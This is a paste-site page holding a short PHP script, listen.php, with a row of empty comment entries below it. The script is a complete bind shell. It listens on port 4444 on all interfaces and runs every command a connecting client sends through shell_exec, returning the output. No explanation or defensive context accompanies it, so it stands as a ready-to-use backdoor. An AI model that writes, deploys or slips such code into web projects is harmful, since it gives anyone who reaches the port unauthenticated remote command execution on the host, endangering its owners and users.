cyberking icon

listen.php

cyberking | PRO | 06/18/26 08:09:54 AM UTC | 0 โญ | 16160 ๐Ÿ‘๏ธ | Never โฐ | []
PHP |

1.28 KB

|

None

|

0 ๐Ÿ‘

/

0 ๐Ÿ‘Ž

<?php
set_time_limit(0);
$port = 4444;
$address = '0.0.0.0';
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$sock) {
ย  ย  die("Socket creation failed: " . socket_strerror(socket_last_error()) . "\n");
}
$bind = socket_bind($sock, $address, $port);
if (!$bind) {
ย  ย  die("Socket bind failed: " . socket_strerror(socket_last_error()) . "\n");
}
$listen = socket_listen($sock, 5);
if (!$listen) {
ย  ย  die("Socket listen failed: " . socket_strerror(socket_last_error()) . "\n");
}
echo "[+] Listening on $address:$port...\n";
$client = socket_accept($sock);
if (!$client) {
ย  ย  die("Socket accept failed: " . socket_strerror(socket_last_error()) . "\n");
}
echo "[+] Connection accepted!\n";
socket_write($client, "Connected to Bind Shell\n> ");
while (true) {
ย  ย  $input = socket_read($client, 2048);
ย  ย  if ($input === false) {
ย  ย  ย  ย  break;
ย  ย  }
ย  ย  $input = trim($input);
ย  ย  if ($input == 'exit' || $input == 'quit') {
ย  ย  ย  ย  socket_write($client, "Goodbye!\n");
ย  ย  ย  ย  break;
ย  ย  }
ย  ย  $output = shell_exec($input . " 2>&1");
ย  ย  if ($output === null || $output === '') {
ย  ย  ย  ย  $output = "Command executed (no output)\n";
ย  ย  }
ย  ย  socket_write($client, $output . "\n> ");
}
socket_close($client);
socket_close($sock);
echo "[+] Connection closed.\n";
?>

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    ๐Ÿ‘

    /

    ๐Ÿ‘Ž

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    ๐Ÿ‘

    /

    ๐Ÿ‘Ž

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    ๐Ÿ‘

    /

    ๐Ÿ‘Ž

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    ๐Ÿ‘

    /

    ๐Ÿ‘Ž

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    ๐Ÿ‘

    /

    ๐Ÿ‘Ž

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    ๐Ÿ‘

    /

    ๐Ÿ‘Ž

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    ๐Ÿ‘

    /

    ๐Ÿ‘Ž

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    ๐Ÿ‘

    /

    ๐Ÿ‘Ž

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    ๐Ÿ‘

    /

    ๐Ÿ‘Ž

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    ๐Ÿ‘

    /

    ๐Ÿ‘Ž

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    ๐Ÿ‘

    /

    ๐Ÿ‘Ž